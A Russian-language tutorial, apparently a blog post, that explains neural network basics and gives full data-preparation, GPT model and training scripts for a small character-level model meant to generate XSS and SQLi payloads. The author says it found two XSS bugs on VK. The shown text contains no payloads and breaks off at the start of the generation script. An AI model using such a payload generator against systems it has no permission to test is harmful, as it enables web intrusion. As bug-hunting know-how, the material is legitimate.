Вот уже почти год я упорно изучаю тему нейросетей, пишу свои архитектуры и реализую универсальные продвинутые алгоритмы автоматизации.
В своей работе я крайне часто сталкиваюсь с задачами которые LLM упрощают или ускоряют в разы.
Одной из таких задач для меня стала генерация XSS и SQLi пайлоадов. Однако тратить свои кровные центы и использовать апи современных ИИ не хочется, а нагружать систему моделью на 4 млрд параметров ради такой простой работы как будто бы не совсем разумно. Поэтому в один из свободных вечеров я реализовал свою небольшую модель всего на 6 млн параметров которая уже дала свои плоды и я смог обнаружить 2 XSS на всей известной нам платформе VK (тут стоит отметить, в статье я рассматриваю немного упрощенный код такой модели относительно моей личной, которой я пользуюсь сейчас, но в целом подход идентичен и тоже работает).
В этой статье мы разберем принцип работы нейросетей и поймем на чем базируются современные архитектуры, а также реализуем модель о которой говорилось выше.
Реализовывать мы все будем на базе GPT-2 опенсурс кода. Вернее, возьмем его код за основу. Повторить это сможет каждый, я дам вам все необходимое для старта и проведу от начала и до конца.
Все описанное в этой статье не является каким то универсальным методом для решения ваших рутинных и монотонных задач, но является хорошей основой для понимания.
Разобьем статью на несколько частей:
- Как работает LLM и нейросети в целом
- Пишем код для нашей модели
- Составляем датасет и разбираемся с промптами
- Тестирование
- Реальный пример из практики
- Заключение
Как работает LLM и нейросети в целом
Тут давайте в кратце и без лишней математики. Усложнять статью углублением пока что не вижу смысла. Нам нужна только база.Итак, как же работают нейронки? Для начала проясним какую задачу попытаемся решить в ходе изучения. Возьмем для примера задачу XOR. У нас есть два значения которые подаются на вход и нам нужно понять возвращают они истину (1) или ложь (0)
В конечном итоге таблица истинности для такой задачи следующая:
0 и 0 дают 0
0 и 1 дают 1
1 и 0 дают 1
1 и 1 дают 0
То есть истина выдается только в том случае, если аргументы различаются.
По сути для такой задачи классификации где всего 4 возможных варианта аргументов можно решить задачу алгоритмически без использования нейросети. Но для понимания работы нейронок такая простая, но нелинейная задача подходит хорошо. В конечном итоге мы должны получить сеть способную решить эту задачу во время получения на вход двух аргументов.
Теперь к нейронкам. Подобно тому как все вещества во вселенной состоят из атомов и молекул мы можем представить нейронку как сеть состоящую из отдельных состовляющих называемых перцептронами (стоит отметить, что эту аналогию я привел для абстрактного понимания, естественно на деле это не совсем корректно)
Перцептрон в своем классическом виде выглядит так:
В данном случае то что в первых кружках (X1 и X2) это аргументы которые подаются на вход, последний кружок (O1) это выходной нейрон который является результатом действия перцептрона. Обозначения W1 и W2 на отрезках соединяющих параметры это "веса" связей. Результат работы нейросети это перемножение переданных значений на веса их связей и в дальнейшем их сложение.
То есть если в этот перцептрон мы подадим какие то значения X1 и X2 то выходное значение O1 будет равно X1xW1+X2xW2
Входных и выходных значений может быть столько, сколько нам необходимо, все зависит от задачи. Но принцип подсчета тот же, если бы мы добавили в перцептрон еще один входной нейрон и представили его как X3 то у него бы была связь с весом W3 и тогда O1 = X1xW1+X2xW2+X3xW3.
При инициализации нейросети веса связей выставляются рандомно и, как правило, берутся в диапазоне от 0 до 1 (ну и от -1 до 1).
Числа больше 1 или -1 в архитектурах не приветствуются, это не удобно как в расчетах, так и в самих вычислениях. Для преобразования результатов расчета в нужный диапазон чисел используют функцию активации. Их довольно много и смысла перечислять все нет. Самая популярная среди них в статьях обучения это сигмоида:
f(x) = 1/(1+exp(-x))
Можете не вдаваться в подробности о том зачем она нужна, достаточно знать тот факт что она преобразует полученное значение O1 в диапазон от 0 до 1.
То есть в конечном итоге результат работы перцептрона это:
O1 = f(X1xW1+X2xW2+X3xW3)
Перцептрон в своем классическом виде не сможет решить задачу XOR в силу ее нелинейности. Для решения этой задачи нам нужно добавить скрытый слой.
Скрытые слои работают по тому же принципу что и входные, получают занчение -> умножают его на вес соединения со следующим слоем, также суммируют и отправляют в функцию активации.
То есть выглядеть это будет примерно так:
Тут скрытый слой у нас обозначен буквой H для удобства. Вспоминая про устройство перцептрона вы можете заметить что по сути H1, H2, и H3 можно воспринимать как три отдельных таких перцептронов, которые принимают на вход одни и те же значения но имеют разные веса связей, а затем свои полученные значения они отправляют на выходной нейрон, где принцип высчитывания результата работы тот же самый.
Супер, но как обучить нейронку? Веса-то у нас случайные. А значит, при первой попытке сеть выдаст кашу. Для XOR — вообще не то.
Значит, надо веса настроить. Как?
Шаг 1. Берём пример из таблицы истинности. Скажем, X1=1, X2=0. Заведомо нами известный правильный ответ - 1.
Шаг 2. Прогоняем числа через сеть. Получаем какую-то фигню, допустим 0.32.
Шаг 3. Считаем ошибку: 0.32 минус 1. Или по-умному — loss. Чем ошибка больше, тем сильнее сеть тупит.
Шаг 4. Передаём эту ошибку назад по всем связям — от выходного нейрона к скрытому слою, от скрытого к входу. И чуть-чуть подкручиваем каждый вес в ту сторону, где ошибка уменьшится.
Повторяем это для всех четырёх комбинаций. Тысячи раз. Миллионы, если сеть большая.
Это называется обратное распространение ошибки. Или backpropagation.
В конце концов веса сойдутся. Сеть будет выдавать правильные ответы.
Всё. XOR решён. Абсолютно тупая задача, но на ней вы прочувствовали главное: прямой проход → ошибка → обратный проход → подкрутка весов.
На этом принципе стоят все нейросети. От перцептрона с тремя нейронами до GPT-4.
Если кому то интересна практика, то вот код на чистом python без numpy для большего понимания принципов работы:
Спойлер: Код
import math
import random
def sigmoid(x):
return 1 / (1 + math.exp(-x))
def sigmoid_derivative(x):
return x * (1 - x)
# Данные для XOR
X = [[0, 0], [0, 1], [1, 0], [1, 1]]
y = [0, 1, 1, 0]
# Инициализация весов
random.seed(42)
# Скрытый слой: 2 входа -> 4 нейрона
hidden_weights = [[random.uniform(-1, 1) for _ in range(4)] for _ in range(2)]
# Выходной слой: 4 нейрона -> 1 выход
output_weights = [random.uniform(-1, 1) for _ in range(4)]
learning_rate = 0.5
epochs = 10000
# Обучение
for epoch in range(epochs):
for idx in range(4):
# Прямой проход
x1, x2 = X[idx]
correct = y[idx]
# Скрытый слой
hidden_inputs = [
x1 * hidden_weights[0][j] + x2 * hidden_weights[1][j]
for j in range(4)
]
hidden_outputs = [sigmoid(hi) for hi in hidden_inputs]
# Выходной слой
final_input = sum(hidden_outputs[j] * output_weights[j] for j in range(4))
prediction = sigmoid(final_input)
# Ошибка
error = correct - prediction
# Обратный проход (выходной слой)
d_prediction = error * sigmoid_derivative(prediction)
# Подкручиваем веса выходного слоя
for j in range(4):
output_weights[j] += hidden_outputs[j] * d_prediction * learning_rate
# Обратный проход (скрытый слой)
d_hidden = []
for j in range(4):
error_hidden = d_prediction * output_weights[j]
d_hidden.append(error_hidden * sigmoid_derivative(hidden_outputs[j]))
# Подкручиваем веса скрытого слоя
for j in range(4):
hidden_weights[0][j] += x1 * d_hidden[j] * learning_rate
hidden_weights[1][j] += x2 * d_hidden[j] * learning_rate
# Проверка
print("Обучение завершено. Проверка:")
for x1, x2 in X:
hidden_inputs = [
x1 * hidden_weights[0][j] + x2 * hidden_weights[1][j]
for j in range(4)
]
hidden_outputs = [sigmoid(hi) for hi in hidden_inputs]
final_input = sum(hidden_outputs[j] * output_weights[j] for j in range(4))
result = sigmoid(final_input)
print(f"{x1} XOR {x2} = {round(result)} (предсказано: {result:.4f})")
Все конечно классно, но что насчет текста? В случае с XOR задачей наша сеть имела 2 входа и 1 выход и всего у нас по сути 4 комбинации входов. В языковых моделях все естественно гораздо более обширно. Входной слой в них обозначает своего рода словарь и по количеству параметров равен выходному слою, скрытых слоев гораздо больше чем в нашем примере с XOR. А сами слова не подаются нейросети напрямую, они токенизируются (представляются в виде векторов). Токен — это кусочек текста: символ, часть слова или целое слово.
По сути, если наш словарь содержит 100 уникальных символов, то каждый токен кодируется числом от 0 до 99. Но нейросеть не понимает числа — она понимает векторы. Поэтому каждый токен превращается в вектор длиной, скажем, 256 чисел. То есть на входе у нас не 2 числа, а sequence_length * 256 чисел. Для последовательности из 100 токенов это уже 25 600 входов.
Чуть подробнее про токенизацию
Существуют несколько видов токенизации:- Посимвольная (каждый токен представляет символ)
- Субсловная (каждый токен представляет часть слова)
- Пословная (токен это одно слово)
Для нашей задачи с генерацией пайлоадов мы будем использовать посимвольную токенизацию, так как она идеально подходит для такой задачи (современные нейросети кстати используют ее для генерации кода) и наиболее проста в реализации.
Рассмотрим процесс токенизации на простом примере. Возьмём слово Hello
Сначала нам нужно разбить слово на символы, затем каждому уникальному символу выдать айди. То есть собираем все уникальные символы, которые встречаются в наших данных. Для слова "Hello" это H, e, l, o.
Допустим, наш словарь выглядит так:
Слово "Hello" превращается в последовательность чисел:
[40, 65, 76, 76, 79]
Именно эту последовательность модель увидит на входе. На выходе она должна предсказать следующее число (следующий символ). Если на вход подать [40, 65, 76, 76], модель должна выдать 79 (то есть o).
То есть по факту, все наше "общение" с моделями сводится к тому что мы даем ей на вход какие то слова, а она выдает то что с наибольшей вероятностью должно следовать за тем что мы ей скормили.
Почему посимвольная токенизация подходит для XSS?
- XSS-пэйлоады короткие (обычно 50-200 символов)
- Важен каждый символ: <, >, ", ', / имеют значение для синтаксиса
- Не нужен огромный словарь (100-200 символов хватает для всего)
- Модель может генерировать новые пэйлоады, комбинируя символы в невиданных ранее последовательностях
Если кто то хочет углубиться в тему нейронок или кому то просто недостаточно того что описано в статье, можете прочитать вот этот ресурс
Или прочитать статью Attention is all you need 2017 года от Google. Там вся необходимая математика и объяснения без упущений.
Глава 2. Пишем код для нашей модели
Итак, с теорией разобрались, переходим к практике.Нам понадобятся четыре скрипта. Каждый решает свою задачу, и вместе они образуют законченный пайплайн для обучения и использования модели.
Весь код использует только torch, numpy и стандартные библиотеки Python. Никаких тяжёлых фреймворков. Всё прозрачно и контролируемо.prepare.py → подготавливает данные и превращает текст в бинарные файлы
model.py → содержит архитектуру нейросети (GPT)
train.py → обучает модель на подготовленных данных
test.py → загружает обученную модель и генерирует ответы
2.1. prepare.py — подготовка данных
Модель не умеет читать текст. Она умеет читать числа. Поэтому каждый символ мы заменяем на его уникальный числовой ID. Это называется посимвольной токенизацией. Помним это из прошлой главы.Почему бинарные файлы и меммап?
В коде я использую датасет в бинарном формате. Изначально я использовал простые txt файлы, но если просто загрузить весь датасет в память как строку, то при большом объёме данных оперативка может закончиться. Особенно если вы обучаете модель на ноутбуке или старом сервере. Да и в целом, такой вариант увеличивает затраты по ресурсам железа что ведет к увеличению времени обучения и нагрузки на систему.Поэтому в проекте существует prepare.py который решает эту проблему двумя способами:
Вот как это работает в коде:
- Бинарные файлы (.bin) занимают меньше места и читаются быстрее, чем текстовые
- np.memmap при обучении позволяет не загружать весь файл в RAM — данные подгружаются с диска по мере необходимости
train_ids = encode(train_text, stoi) # получаем numpy-массив чисел
train_ids.tofile("train.bin") # сохраняем на диск
Потом при обучении:
train_data = np.memmap("train.bin", dtype=np.uint16, mode="r")
dtype=np.uint16 означает, что каждое число занимает 2 байта. Это экономит память по сравнению с обычными Python-списками.
Что делает prepare.py по шагам
- Читает train.txt и val.txt (если val.txt нет — автоматически отщипывает 10% от train.txt)
- Собирает все уникальные символы из всего текста и строит словарь: символ → ID
- Превращает текст в последовательности ID через функцию encode()
- Сохраняет бинарные файлы train.bin и val.bin в папку data/chat/
- Сохраняет метаданные (словари stoi, itos и размер словаря) в meta.pkl
- train.bin — обучающие данные в бинарном виде
- val.bin — валидационные данные
- meta.pkl — метаинформация для кодирования и декодирования
Спойлер: prepare.py
import os
import pickle
import numpy as np
# Константы
TRAIN_TXT = "train.txt"
VAL_TXT = "val.txt" # опционально, если нет - создадим из train.txt
DATA_DIR = "data"
DATASET_NAME = "chat"
# Посимвольная токенизация
def build_vocab(text):
chars = sorted(list(set(text)))
stoi = {ch: i for i, ch in enumerate(chars)}
itos = {i: ch for i, ch in enumerate(chars)}
return stoi, itos, len(chars)
def encode(text, stoi):
return np.array([stoi[ch] for ch in text], dtype=np.uint16)
# Создаём папку
os.makedirs(os.path.join(DATA_DIR, DATASET_NAME), exist_ok=True)
# Загружаем тексты
with open(TRAIN_TXT, "r", encoding="utf-8") as f:
train_text = f.read()
if os.path.exists(VAL_TXT):
with open(VAL_TXT, "r", encoding="utf-8") as f:
val_text = f.read()
else:
# Если val.txt нет, отщипнём 10% от train.txt
split = int(len(train_text) * 0.9)
val_text = train_text[split:]
train_text = train_text[:split]
print(f"Created val.txt from train.txt (10% split)")
# Строим словарь на всём тексте (чтобы кодировки совпадали)
full_text = train_text + val_text
stoi, itos, vocab_size = build_vocab(full_text)
# Кодируем
train_ids = encode(train_text, stoi)
val_ids = encode(val_text, stoi)
# Сохраняем бинарники
train_bin = os.path.join(DATA_DIR, DATASET_NAME, "train.bin")
val_bin = os.path.join(DATA_DIR, DATASET_NAME, "val.bin")
train_ids.tofile(train_bin)
val_ids.tofile(val_bin)
# Сохраняем метаданные
meta = {
"vocab_size": vocab_size,
"stoi": stoi,
"itos": itos,
}
with open(os.path.join(DATA_DIR, DATASET_NAME, "meta.pkl"), "wb") as f:
pickle.dump(meta, f)
print(f"Dataset prepared: {DATA_DIR}/{DATASET_NAME}/")
print(f"Vocab size: {vocab_size}")
print(f"Train size: {len(train_ids)} chars")
print(f"Val size: {len(val_ids)} chars")
2.2. model.py — архитектура GPT
Главный файл всего проекта. Здесь описан класс GPT, который мы будем обучать. Код взят из открытой реализации GPT-2, но с возможностью настройки под наши нужды.GPTConfig — гиперпараметры модели
В начале файла описан класс GPTConfig, который хранит все настройки модели:@dataclass
class GPTConfig:
block_size: int = 1024 # максимальная длина последовательности в токенах
vocab_size: int = None # размер словаря (определяется из датасета)
n_layer: int = 12 # количество блоков Transformer
n_head: int = 12 # количество голов внимания
n_embd: int = 768 # размер эмбеддинга (вектора токена)
dropout: float = 0.0 # регуляризация (выключаем часть нейронов)
bias: bool = True # использовать ли смещения в линейных слоях
Эти параметры определяют, насколько большой будет модель и сколько памяти она потребует. В train.py мы переопределим их под нашу задачу.
CausalSelfAttention — механизм внимания
Это ключевая часть Transformer. Внимание позволяет модели смотреть на предыдущие токены с разными весами. «Причинное» означает, что модель не видит будущие токены — только прошлые.if self.flash:
y = F.scaled_dot_product_attention(q, k, v, is_causal=True)
В современных версиях PyTorch есть встроенная оптимизированная функция scaled_dot_product_attention. Она работает очень быстро, особенно на GPU. Если её нет — используется собственная реализация с маской.
Block — строительный блок Transformer
Каждый блок состоит из двух частей: внимания и MLP (многослойного перцептрона). Вокруг них — нормализации и остаточные связи.class Block(nn.Module):
def forward(self, x):
x = x + self.attn(self.ln_1(x)) # внимание + остаточная связь
x = x + self.mlp(self.ln_2(x)) # MLP + остаточная связь
return x
Остаточные связи (x + ...) помогают градиенту не затухать в глубоких сетях. Без них модель на 6-12 слоёв просто не обучится.
GPT — главный класс
def forward(self, idx, targets=None):
B, T = idx.size()
pos = torch.arange(0, T, device=idx.device)
x = self.wte(idx) + self.wpe(pos) # эмбеддинги токенов + позиций
for block in self.h:
x = block(x)
logits = self.lm_head(x) # превращаем в вероятности токенов
if targets is not None:
loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))
return logits, loss
Что здесь происходит:
- wte (word token embedding) — превращает число-индекс токена в вектор размерности n_embd. Например, символ с ID 40 становится вектором из 256 чисел.
- wpe (word position embedding) — добавляет информацию о позиции токена. Токен на позиции 0 получает другой вектор, чем токен на позиции 5.
- Сумма эмбеддингов проходит через все блоки Transformer
- lm_head (language modeling head) — линейный слой, который превращает вектор обратно в вероятности для каждого токена из словаря
- Если переданы targets (правильные ответы), считаем cross_entropy — функцию потерь
Метод generate
Этот метод используется после обучения. Он берёт начальную последовательность токенов и генерирует продолжение:@torch.no_grad()
def generate(self, idx, max_new_tokens, temperature=1.0, top_k=None):
for _ in range(max_new_tokens):
logits, _ = self(idx_cond)
logits = logits[:, -1, :] / temperature
if top_k is not None:
v, _ = torch.topk(logits, top_k)
logits[logits < v[:, [-1]]] = float('-inf')
probs = F.softmax(logits, dim=-1)
idx_next = torch.multinomial(probs, num_samples=1)
idx = torch.cat((idx, idx_next), dim=1)
return idx
Параметры:
- temperature — контролирует случайность. Чем выше температура, тем более разнообразные (и иногда бессмысленные) ответы
- top_k — оставляет только k самых вероятных токенов, остальным зануляет вероятность. Убирает хвост маловероятных бредовых вариантов
Спойлер: model.py
import math
import inspect
from dataclasses import dataclass
import torch
import torch.nn as nn
from torch.nn import functional as F
class LayerNorm(nn.Module):
def __init__(self, ndim, bias):
super().__init__()
self.weight = nn.Parameter(torch.ones(ndim))
self.bias = nn.Parameter(torch.zeros(ndim)) if bias else None
def forward(self, x):
return F.layer_norm(x, self.weight.shape, self.weight, self.bias, 1e-5)
class CausalSelfAttention(nn.Module):
def __init__(self, config):
super().__init__()
assert config.n_embd % config.n_head == 0
self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)
self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)
self.attn_dropout = nn.Dropout(config.dropout)
self.resid_dropout = nn.Dropout(config.dropout)
self.n_head = config.n_head
self.n_embd = config.n_embd
self.dropout = config.dropout
self.flash = hasattr(torch.nn.functional, 'scaled_dot_product_attention')
if not self.flash:
self.register_buffer("bias", torch.tril(torch.ones(config.block_size, config.block_size))
.view(1, 1, config.block_size, config.block_size))
def forward(self, x):
B, T, C = x.size()
q, k, v = self.c_attn(x).split(self.n_embd, dim=2)
k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)
q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)
v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2)
if self.flash:
y = F.scaled_dot_product_attention(q, k, v, attn_mask=None,
dropout_p=self.dropout if self.training else 0, is_causal=True)
else:
att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))
att = att.masked_fill(self.bias[:, :, :T, :T] == 0, float('-inf'))
att = F.softmax(att, dim=-1)
att = self.attn_dropout(att)
y = att @ v
y = y.transpose(1, 2).contiguous().view(B, T, C)
y = self.resid_dropout(self.c_proj(y))
return y
class MLP(nn.Module):
def __init__(self, config):
super().__init__()
self.c_fc = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)
self.gelu = nn.GELU()
self.c_proj = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)
self.dropout = nn.Dropout(config.dropout)
def forward(self, x):
return self.dropout(self.c_proj(self.gelu(self.c_fc(x))))
class Block(nn.Module):
def __init__(self, config):
super().__init__()
self.ln_1 = LayerNorm(config.n_embd, bias=config.bias)
self.attn = CausalSelfAttention(config)
self.ln_2 = LayerNorm(config.n_embd, bias=config.bias)
self.mlp = MLP(config)
def forward(self, x):
x = x + self.attn(self.ln_1(x))
x = x + self.mlp(self.ln_2(x))
return x
@dataclass
class GPTConfig:
block_size: int = 1024
vocab_size: int = None
n_layer: int = 12
n_head: int = 12
n_embd: int = 768
dropout: float = 0.0
bias: bool = True
class GPT(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.transformer = nn.ModuleDict(dict(
wte=nn.Embedding(config.vocab_size, config.n_embd),
wpe=nn.Embedding(config.block_size, config.n_embd),
drop=nn.Dropout(config.dropout),
h=nn.ModuleList([Block(config) for _ in range(config.n_layer)]),
ln_f=LayerNorm(config.n_embd, bias=config.bias),
))
self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)
self.transformer.wte.weight = self.lm_head.weight
self.apply(self._init_weights)
def _init_weights(self, module):
if isinstance(module, nn.Linear):
torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)
if module.bias is not None:
torch.nn.init.zeros_(module.bias)
elif isinstance(module, nn.Embedding):
torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)
def forward(self, idx, targets=None):
B, T = idx.size()
assert T <= self.config.block_size
pos = torch.arange(0, T, dtype=torch.long, device=idx.device)
x = self.transformer.drop(self.transformer.wte(idx) + self.transformer.wpe(pos))
for block in self.transformer.h:
x = block(x)
x = self.transformer.ln_f(x)
logits = self.lm_head(x)
loss = None
if targets is not None:
loss = F.cross_entropy(logits.view(-1, logits.size(-1)), targets.view(-1))
return logits, loss
def get_num_params(self, non_embedding=True):
n_params = sum(p.numel() for p in self.parameters())
if non_embedding:
n_params -= self.transformer.wpe.weight.numel()
return n_params
@torch.no_grad()
def generate(self, idx, max_new_tokens, temperature=1.0, top_k=None):
for _ in range(max_new_tokens):
idx_cond = idx if idx.size(1) <= self.config.block_size else idx[:, -self.config.block_size:]
logits, _ = self(idx_cond)
logits = logits[:, -1, :] / temperature
if top_k is not None:
v, _ = torch.topk(logits, min(top_k, logits.size(-1)))
logits[logits < v[:, [-1]]] = float('-inf')
probs = F.softmax(logits, dim=-1)
idx_next = torch.multinomial(probs, num_samples=1)
idx = torch.cat((idx, idx_next), dim=1)
return idx
def configure_optimizers(self, weight_decay, learning_rate, betas, device_type):
decay_params = [p for n, p in self.named_parameters() if p.dim() >= 2]
nodecay_params = [p for n, p in self.named_parameters() if p.dim() < 2]
optim_groups = [
{'params': decay_params, 'weight_decay': weight_decay},
{'params': nodecay_params, 'weight_decay': 0.0}
]
fused = 'fused' in inspect.signature(torch.optim.AdamW).parameters and device_type == 'cuda'
return torch.optim.AdamW(optim_groups, lr=learning_rate, betas=betas, fused=fused)
2.3. train.py — обучение модели
Обучение — это итеративное подстраивание весов так, чтобы модель лучше предсказывала следующий символ.Константы в начале файла
Все параметры обучения вынесены в константы. Это удобно — не нужно лезть глубоко в код, чтобы изменить настройки.DATASET = "chat" # имя папки с датасетом (data/chat/)
OUT_DIR = "out" # куда сохранять чекпоинты
BATCH_SIZE = 12 # сколько примеров за раз
BLOCK_SIZE = 128 # длина последовательности (контекст)
EVAL_INTERVAL = 500 # как часто проверять качество
EVAL_ITERS = 100 # сколько батчей для оценки
MAX_ITERS = 4000 # сколько всего итераций обучения
LEARNING_RATE = 6e-4 # скорость обучения
GRAD_CLIP = 1.0 # обрезание градиентов (стабилизация)
N_LAYER = 6 # количество блоков Transformer
N_HEAD = 8 # количество голов внимания
N_EMBD = 256 # размер эмбеддинга
Почему именно эти значения:
Если планируешь играться с размером модели и менять значения, то обрати внимание что N_EMBD и N_HEAD неочевидно связаны, в коде есть строка config.n_embd % config.n_head == 0
- BLOCK_SIZE = 128 — модель видит 128 символов контекста. Этого достаточно для XSS-пэйлоада
- N_LAYER = 6, N_HEAD = 8, N_EMBD = 256 — дают модель примерно на 10-15 млн параметров. Она быстро обучается даже на CPU
- LEARNING_RATE = 6e-4 — стандартная скорость для AdamW
- GRAD_CLIP = 1.0 — обрезает градиенты, чтобы не было «взрывов» потерь
То есть, пример, если мы сотавим N_EMBD = 256, а N_HEAD сделаем 6, то нам выдаст ошибку, потому что при делении 256 на 6 получится не целое число.
Меммап данных (быстро и экономно)
train_data = np.memmap(os.path.join(data_dir, "train.bin"), dtype=np.uint16, mode="r")
np.memmap не загружает весь файл в память, а создаёт «представление» файла на диске. Когда мы обращаемся к элементу по индексу, нужный кусок подгружается автоматически.
get_batch — формирование батча
def get_batch(split, batch_size, block_size):
data = train_data if split == "train" else val_data
ix = torch.randint(len(data) - block_size, (batch_size,))
x = torch.stack([torch.from_numpy((data[i:i+block_size]).astype(np.int64)) for i in ix])
y = torch.stack([torch.from_numpy((data[i+1:i+1+block_size]).astype(np.int64)) for i in ix])
return x, y
Функция случайно выбирает batch_size начальных позиций в данных. Для каждой позиции берёт block_size токенов в xи следующие токены (со сдвигом на 1) в y.
Пример для строки "Hello" с block_size=4:
Модель учится по x предсказывать y. Именно так она учится генерировать текст.x = [40, 65, 76, 76] # H e l l
y = [65, 76, 76, 79] # e l l o
estimate_loss — проверка качества
@torch.no_grad()
def estimate_loss():
model.eval()
for split in ["train", "val"]:
losses = torch.zeros(EVAL_ITERS)
for k in range(EVAL_ITERS):
X, Y = get_batch(split, BATCH_SIZE, BLOCK_SIZE)
_, loss = model(X, Y)
losses[k] = loss.item()
out[split] = losses.mean()
model.train()
return out
@torch.no_grad() отключает вычисление градиентов — на валидации они не нужны, это экономит память.
model.eval() переключает модель в режим оценки (выключает dropout). model.train() возвращает обратно.
Learning rate scheduler
def get_lr(it):
if it < warmup_iters:
return learning_rate * (it + 1) / (warmup_iters + 1)
if it > lr_decay_iters:
return min_lr
decay_ratio = (it - warmup_iters) / (lr_decay_iters - warmup_iters)
coeff = 0.5 * (1.0 + math.cos(math.pi * decay_ratio))
return min_lr + coeff * (learning_rate - min_lr)
Скорость обучения не постоянна. Сначала она линейно растёт от 0 до learning_rate (warmup). Это нужно, чтобы в начале обучения не было резких скачков весов. Потом скорость косинусоидально затухает до min_lr. Это позволяет модели аккуратно докрутить веса в конце.
Цикл обучения
while iter_num < MAX_ITERS:
X, Y = get_batch("train", BATCH_SIZE, BLOCK_SIZE)
_, loss = model(X, Y)
loss.backward() # вычисляем градиенты
torch.nn.utils.clip_grad_norm_(model.parameters(), GRAD_CLIP) # обрезаем
optimizer.step() # обновляем веса
optimizer.zero_grad(set_to_none=True) # обнуляем градиенты
loss.backward() вычисляет градиенты — показывает, в какую сторону нужно менять веса, чтобы уменьшить ошибку.
clip_grad_norm_ обрезает градиенты, если они слишком большие. Это стабилизирует обучение.
optimizer.step() обновляет веса. optimizer.zero_grad() очищает градиенты перед следующим шагом.
Сохранение чекпоинтов
if losses["val"] < best_val_loss:
best_val_loss = losses["val"]
checkpoint = {
"model": model.state_dict(),
"config": config,
"stoi": stoi,
"itos": itos,
"iter_num": iter_num,
"val_loss": losses["val"],
}
torch.save(checkpoint, os.path.join(OUT_DIR, "best.pt"))
Сохраняем не только веса модели (state_dict), но и конфигурацию, и словари токенов. Это позволяет потом загрузить модель без дополнительных настроек.
Спойлер: train.py
import os
import time
import math
import pickle
import numpy as np
import torch
from model import GPTConfig, GPT
# ========== КОНСТАНТЫ ==========
DATASET = "chat"
OUT_DIR = "out"
BATCH_SIZE = 12
BLOCK_SIZE = 128
EVAL_INTERVAL = 500
EVAL_ITERS = 100
LOG_INTERVAL = 10
MAX_ITERS = 6000
LEARNING_RATE = 6e-4
WEIGHT_DECAY = 1e-1
BETA1 = 0.9
BETA2 = 0.95
GRAD_CLIP = 1.0
WARMUP_ITERS = 200
LR_DECAY_ITERS = 5000
MIN_LR = 6e-5
DECAY_LR = True
N_LAYER = 8
N_HEAD = 8
N_EMBD = 256
BIAS = False
# ================================
# Устройство
if torch.cuda.is_available():
device = "cuda"
elif torch.backends.mps.is_available():
device = "mps"
else:
device = "cpu"
print(f"Using device: {device}")
device_type = "cuda" if device == "cuda" else "cpu"
# Подготовка папки
os.makedirs(OUT_DIR, exist_ok=True)
# Загрузка метаданных
data_dir = os.path.join("data", DATASET)
meta_path = os.path.join(data_dir, "meta.pkl")
with open(meta_path, "rb") as f:
meta = pickle.load(f)
vocab_size = meta["vocab_size"]
stoi = meta["stoi"]
itos = meta["itos"]
# Меммап данных
train_data = np.memmap(os.path.join(data_dir, "train.bin"), dtype=np.uint16, mode="r")
val_data = np.memmap(os.path.join(data_dir, "val.bin"), dtype=np.uint16, mode="r")
def get_batch(split, batch_size, block_size):
data = train_data if split == "train" else val_data
ix = torch.randint(len(data) - block_size, (batch_size,))
x = torch.stack([torch.from_numpy((data[i:i+block_size]).astype(np.int64)) for i in ix])
y = torch.stack([torch.from_numpy((data[i+1:i+1+block_size]).astype(np.int64)) for i in ix])
x, y = x.to(device), y.to(device)
return x, y
# Модель
config = GPTConfig(
block_size=BLOCK_SIZE,
vocab_size=vocab_size,
n_layer=N_LAYER,
n_head=N_HEAD,
n_embd=N_EMBD,
dropout=0.1,
bias=BIAS
)
model = GPT(config)
model.to(device)
print(f"Model params: {model.get_num_params():,}")
optimizer = model.configure_optimizers(WEIGHT_DECAY, LEARNING_RATE, (BETA1, BETA2), device_type)
@torch.no_grad()
def estimate_loss():
out = {}
model.eval()
for split in ["train", "val"]:
losses = torch.zeros(EVAL_ITERS)
for k in range(EVAL_ITERS):
X, Y = get_batch(split, BATCH_SIZE, BLOCK_SIZE)
_, loss = model(X, Y)
losses[k] = loss.item()
out[split] = losses.mean()
model.train()
return out
def get_lr(it):
if it < WARMUP_ITERS:
return LEARNING_RATE * (it + 1) / (WARMUP_ITERS + 1)
if it > LR_DECAY_ITERS:
return MIN_LR
decay_ratio = (it - WARMUP_ITERS) / (LR_DECAY_ITERS - WARMUP_ITERS)
coeff = 0.5 * (1.0 + math.cos(math.pi * decay_ratio))
return MIN_LR + coeff * (LEARNING_RATE - MIN_LR)
print("Starting training...")
iter_num = 0
best_val_loss = float("inf")
t0 = time.time()
while iter_num < MAX_ITERS:
lr = get_lr(iter_num) if DECAY_LR else LEARNING_RATE
for param_group in optimizer.param_groups:
param_group["lr"] = lr
if iter_num % EVAL_INTERVAL == 0:
losses = estimate_loss()
print(f"step {iter_num}: train loss {losses['train']:.4f}, val loss {losses['val']:.4f}")
if losses["val"] < best_val_loss:
best_val_loss = losses["val"]
checkpoint = {
"model": model.state_dict(),
"config": config,
"stoi": stoi,
"itos": itos,
"iter_num": iter_num,
"val_loss": losses["val"],
}
torch.save(checkpoint, os.path.join(OUT_DIR, "best.pt"))
print(f"Saved best model")
# Один шаг обучения (без gradient accumulation для простоты)
X, Y = get_batch("train", BATCH_SIZE, BLOCK_SIZE)
_, loss = model(X, Y)
loss.backward()
torch.nn.utils.clip_grad_norm_(model.parameters(), GRAD_CLIP)
optimizer.step()
optimizer.zero_grad(set_to_none=True)
if iter_num % LOG_INTERVAL == 0 and iter_num > 0:
t1 = time.time()
dt = t1 - t0
t0 = t1
print(f"iter {iter_num}: loss {loss.item():.4f}, time {dt*1000:.2f}ms")
iter_num += 1
print(f"Training finished. Best val loss: {best_val_loss:.4f}")
2.4. test.py — генерация ответов
Этот скрипт загружает обученную модель и генерирует пэйлоады по заданному контексту.Загрузка модели
checkpoint = torch.load(CHECKPOINT_PATH, map_location=device, weights_only=False)
config = checkpoint["config"]
stoi = checkpoint["stoi"]
